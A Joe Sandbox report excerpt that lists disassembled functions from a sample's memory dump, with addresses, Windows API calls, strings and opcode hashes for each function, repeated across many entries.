Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: LongWindow$ParentProc
String ID: 8Y
API String ID: 2181805148-2504371881
Opcode ID: ec3b8d9b1fb0345533e8039d011da100149de98b21433cec20901cda8cbc6b1e
Instruction ID: 81a42d3d40f07feb6cb72686fd4c01438f5847f138284191d850d81007d13f7a
Opcode Fuzzy Hash: ec3b8d9b1fb0345533e8039d011da100149de98b21433cec20901cda8cbc6b1e
Instruction Fuzzy Hash: ED21A534A01204AFDB269F28C84DFAA3B95EF06360F06426BFD259B2F2C330AD11D755

Function 004431EF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0044327C
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00443287

Strings

Combobox, xrefs: 00443249

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 6ac7e8860dfd47fbce6669a46857bc594570555974097cdb5173a53474234172
Instruction ID: 5c9b8e89763f6890a008480c2a3edf4f4b2d1eba25170eca29da98e709aa2ac6
Opcode Fuzzy Hash: 6ac7e8860dfd47fbce6669a46857bc594570555974097cdb5173a53474234172
Instruction Fuzzy Hash: DF11E2713002087FFF219F94DC81EBB376AFB947A5F10412AF91897290D6B99D518764

Function 0041EF10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 70COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0041EF1D

Strings

+, xrefs: 0041EF1B
HANDLE, xrefs: 0041EF16

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: _wcslen
String ID: HANDLE$+
API String ID: 176396367-3827262072
Opcode ID: 48deb52f5dcb1a1ec2d68bc8dc9d77364c80f45fa2f2292cbd0477775692746a
Instruction ID: cb2a85c380ebe5ec4a7404f284ef5bca737671b71b4e2ec798b30132fecdc4f2
Opcode Fuzzy Hash: 48deb52f5dcb1a1ec2d68bc8dc9d77364c80f45fa2f2292cbd0477775692746a
Instruction Fuzzy Hash: 7011E179610114AAE7188F16D889BEEB3A8DF84725F60406BEC05CF1C4E7789EC3971C

Function 004432A6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

CreatePopupMenu.USER32 ref: 004432C7
CreatePopupMenu.USER32 ref: 00443339

Strings

8Y, xrefs: 00443313, 0044334B

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CreateMenuPopup
String ID: 8Y
API String ID: 3826294624-2504371881
Opcode ID: 166c9cd66585b0d592c104890ad2ae6095aa16a75c2e53cb983b14e9a768b819
Instruction ID: 9a3eefe72aecd647f6ea3bc22a6067a736cc68b182a4fd00f6929c832ef70092
Opcode Fuzzy Hash: 166c9cd66585b0d592c104890ad2ae6095aa16a75c2e53cb983b14e9a768b819
Instruction Fuzzy Hash: 592190746042049FEB20CF28C446BD67BE5FB0A725F0880ABE8598B351D375AE02CF59

Function 00443710 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 003B600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 003B604C
Part of subcall function 003B600E: GetStockObject.GDI32(00000011), ref: 003B6060
Part of subcall function 003B600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 003B606A

GetWindowRect.USER32(00000000,?), ref: 0044377A
GetSysColor.USER32(00000012), ref: 00443794

Strings

static, xrefs: 00443757

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 61a656c21413a791fe2d9a1564f39af89eca78b8ab349c7f0d2a906206f7022e
Instruction ID: 168d44682bc386deac8787b2d834630d65310f24611236d89037d06c4612018c
Opcode Fuzzy Hash: 61a656c21413a791fe2d9a1564f39af89eca78b8ab349c7f0d2a906206f7022e
Instruction Fuzzy Hash: 78112CB2610209AFEB01DFA8CC46EEE7BB8EB09715F004525F995E2250D739E8519B54

Function 00446181 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 004461FC
SendMessageW.USER32(?,00000194,00000000,00000000), ref: 00446225

Strings

8Y, xrefs: 004461A2

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: MessageSend
String ID: 8Y
API String ID: 3850602802-2504371881
Opcode ID: 041b41b49a5cb8a9a56c8eb6e4ecfd0b74f18ee923ad40e628b9800b2604ee78
Instruction ID: 6705014015f16aefd1210c29554169ce7fb0a49e8b31e3f19fa9c2610a493349
Opcode Fuzzy Hash: 041b41b49a5cb8a9a56c8eb6e4ecfd0b74f18ee923ad40e628b9800b2604ee78
Instruction Fuzzy Hash: 1411E231140214BEFB10AF68CC05FBA3BA4FB07300F014196FA169A2E4D6F8DA40DB1A

Function 0042CD1E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 0042CD7D
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 0042CDA6

Strings

<local>, xrefs: 0042CD66

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: b2f34c750dfc56c2c7dbdae7998c073c16e8af1cf9069fd0b742d9057eb0f00b
Instruction ID: cd4e5e2a3cead890851a6d8bdcd305374b148d713963dc245505c5b4256268d4
Opcode Fuzzy Hash: b2f34c750dfc56c2c7dbdae7998c073c16e8af1cf9069fd0b742d9057eb0f00b
Instruction Fuzzy Hash: 3F11E3753616327AD7244B669CC4EEBBE68EB127A4F804237B10983180D2689845D6F4

Function 00443429 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 004434AB
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 004434BA

Strings

edit, xrefs: 0044348F

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 7acb5f156cfd8bed2198edba00d29d4fc220d8ff3990979a8a96e540dd202423
Instruction ID: 60f7453e20076353dd9be38e7ad67c3b0c0ca9d911aa5597fba7ab372f0583a5
Opcode Fuzzy Hash: 7acb5f156cfd8bed2198edba00d29d4fc220d8ff3990979a8a96e540dd202423
Instruction Fuzzy Hash: 1B11BF71100108ABFB125F64DC81AEB376AEB15B79F504326F960932E0C739EC519B58

Function 00444F80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,?,?), ref: 00444FCC

Strings

8Y, xrefs: 00444FA1

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: MessageSend
String ID: 8Y
API String ID: 3850602802-2504371881
Opcode ID: 5078625755a8f2e635dc6309b2d39bc48806553bc73c6cce3a653bcf8d7de603
Instruction ID: a5b6b4ce7d1f84870fbb81a80143e4f58d952dc3e6b26f0a8196de8268a96c7c
Opcode Fuzzy Hash: 5078625755a8f2e635dc6309b2d39bc48806553bc73c6cce3a653bcf8d7de603
Instruction Fuzzy Hash: 4C21037A60011AEFDF15DFA8C9408EA7BB9FB4D304B004155FE05A7320C635E921DBA4

Function 00416C86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 003B9CB3: _wcslen.LIBCMT ref: 003B9CBD

CharUpperBuffW.USER32(?,?,?), ref: 00416CB6
_wcslen.LIBCMT ref: 00416CC2

Strings

STOP, xrefs: 00416CBC, 00416CC1

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: STOP
API String ID: 1256254125-2411985666
Opcode ID: 341ee724b5df8aefc0a6919478739d3c78a67be76189df76a1a4d7e4750bf402
Instruction ID: 14d4e74b2d98c9eb313fd50e1204dafbc95d4d2bedb214f35f44c5ec8c0ffab9
Opcode Fuzzy Hash: 341ee724b5df8aefc0a6919478739d3c78a67be76189df76a1a4d7e4750bf402
Instruction Fuzzy Hash: 2301D6326005268BCB219FBDEC809FF77B5EB61714752053AE95297290FB39D980C794

Function 003C90DF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON

Download Yara Rule

Strings

8Y, xrefs: 00407077, 0040709D

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID:
String ID: 8Y
API String ID: 0-2504371881
Opcode ID: 42123277ffc331bcb67bab950cde74d388c0e39a8b07bd0802dc81ac752c4300
Instruction ID: 71ab9bed45db84be51bce279adc56ac52a28228b0d03006ca5618983a5640b80
Opcode Fuzzy Hash: 42123277ffc331bcb67bab950cde74d388c0e39a8b07bd0802dc81ac752c4300
Instruction Fuzzy Hash: E0114934600604AFCB208F18D880EA977A6BB89320F15826AE9259B3E0C775B941CF91

Function 00411CDE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 003B9CB3: _wcslen.LIBCMT ref: 003B9CBD

Part of subcall function 00413CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00413CCA

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00411D4C

Strings

ComboBox, xrefs: 00411CEB
ListBox, xrefs: 00411D16

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 2932b75fa65586d6a7e5b068a48d2ecc1ee6f252657d0041592b4275c55bc1ed
Instruction ID: f898bacced81f3e63f6cb34e8c32d067f6b14de5dbca33f38951602cbda1bbd0
Opcode Fuzzy Hash: 2932b75fa65586d6a7e5b068a48d2ecc1ee6f252657d0041592b4275c55bc1ed
Instruction Fuzzy Hash: 15012831601218AB8B04EFA0DC51DFF7768EB02354B14051BFA265B3D1EA346948C664

Function 00411BD8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 003B9CB3: _wcslen.LIBCMT ref: 003B9CBD

Part of subcall function 00413CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00413CCA

SendMessageW.USER32(?,00000180,00000000,?), ref: 00411C46

Strings

ComboBox, xrefs: 00411BE5
ListBox, xrefs: 00411C10

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 141d3989d7bd64bf321faa2cf96518d391581a487ecb3f6f779a2d0bcb2d67c5
Instruction ID: 7cfe9e63b247c372d7ed675e95701c0c7d0979ee09c6b51b2451c6ab203c910e
Opcode Fuzzy Hash: 141d3989d7bd64bf321faa2cf96518d391581a487ecb3f6f779a2d0bcb2d67c5
Instruction Fuzzy Hash: 3C01A77578110867CB15EB90CA51AFF77A89B11344F14001BAB0B6B291FA689E48C6F9

Function 00411C5C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 003B9CB3: _wcslen.LIBCMT ref: 003B9CBD

Part of subcall function 00413CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00413CCA

SendMessageW.USER32(?,00000182,?,00000000), ref: 00411CC8

Strings

ComboBox, xrefs: 00411C69
ListBox, xrefs: 00411C94

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 79a77e4620d045983f21e34b03e388d555dc2fefc9130e4c49d343e8f5c9a6cd
Instruction ID: e1965d5b20f7b1832ef09bcee7c03b4858245bb85c8428f34fced00b93a1b211
Opcode Fuzzy Hash: 79a77e4620d045983f21e34b03e388d555dc2fefc9130e4c49d343e8f5c9a6cd
Instruction Fuzzy Hash: AA01DB7568111867CF05EB90CA41BFF77A89B11344F240017BA0677291FA689F48D6F9

Function 003CA4D6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 003CA529

Part of subcall function 003B9CB3: _wcslen.LIBCMT ref: 003B9CBD

Strings

,%H, xrefs: 003CA509
3y@, xrefs: 003CA545, 003CA54D, 003CA552

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Init_thread_footer_wcslen
String ID: ,%H$3y@
API String ID: 2551934079-735046420
Opcode ID: 123ee6a10c21707b8906225ed410a8cc8bd4c9043b253026ae0f0bc1386244f8
Instruction ID: aafae29a9131d8ca8675abe7b58fc94f555ead172b9f979c44132651822e533d
Opcode Fuzzy Hash: 123ee6a10c21707b8906225ed410a8cc8bd4c9043b253026ae0f0bc1386244f8
Instruction Fuzzy Hash: 1401F732640A1897C507F768AC57FAD3358DB06B14F50446EF6019F2C2DE509D01879B

Function 00411D68 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46windowCOMMON

Download Yara Rule

APIs

Part of subcall function 003B9CB3: _wcslen.LIBCMT ref: 003B9CBD

Part of subcall function 00413CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00413CCA

SendMessageW.USER32(?,0000018B,00000000,00000000), ref: 00411DD3

Strings

ComboBox, xrefs: 00411D75
ListBox, xrefs: 00411DA0

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 5b1148d03205801986f291c06c7022461bcf700a57415cbd761bc37c0a5c8030
Instruction ID: 29608d26b2bdef82a4c74a5e507dcf2389e504a09847796802cd1480deccbf0b
Opcode Fuzzy Hash: 5b1148d03205801986f291c06c7022461bcf700a57415cbd761bc37c0a5c8030
Instruction Fuzzy Hash: 9EF02D71B4121867CB04F7A4DC91FFF7778AB01344F14091BBA26672D1EA6469088268

Function 004490A1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

Part of subcall function 003C9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 003C9BB2

DefDlgProcW.USER32(?,0000002B,?,?,?,?,?,?,?,0040769C,?,?,?), ref: 00449111

Part of subcall function 003C9944: GetWindowLongW.USER32(?,000000EB), ref: 003C9952

SendMessageW.USER32(?,00000401,00000000,00000000), ref: 004490F7

Strings

8Y, xrefs: 004490D6

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: LongWindow$MessageProcSend
String ID: 8Y
API String ID: 982171247-2504371881
Opcode ID: dad2ef19c64ce3db3261f8d0dc477fda4b89c228f01faae1f0a109f279eb7890
Instruction ID: 13dd642514d4e041954f715e81b252d8abd22bd9548f7f19754673b609701019
Opcode Fuzzy Hash: dad2ef19c64ce3db3261f8d0dc477fda4b89c228f01faae1f0a109f279eb7890
Instruction Fuzzy Hash: E901D434101214BBFB219F14DC4AFAB3BA6FF86365F10446AF9551B2E1C7766C02DB58

Function 00448172 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00483018,0048305C), ref: 004481BF
CloseHandle.KERNEL32 ref: 004481D1

Strings

\0H, xrefs: 0044818A

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: \0H
API String ID: 3712363035-1034350999
Opcode ID: 904382f13c56daca313a247851ab1b68141e2300adb02817d8d147c7e76b50d0
Instruction ID: 9a672b22595eddfc91be2e4f0fb03457b9f14e098a22a7480543871fefe49d1b
Opcode Fuzzy Hash: 904382f13c56daca313a247851ab1b68141e2300adb02817d8d147c7e76b50d0
Instruction Fuzzy Hash: 9FF054B5640300BAE3206F61AC45F7F3A5CDB06B56F004836BB08D91A2D6799E0093BD

Function 0043747E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00437493
_wcslen.LIBCMT ref: 004374B9

Strings

3, 3, 16, 1, xrefs: 00437483

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: _wcslen
String ID: 3, 3, 16, 1
API String ID: 176396367-3042988571
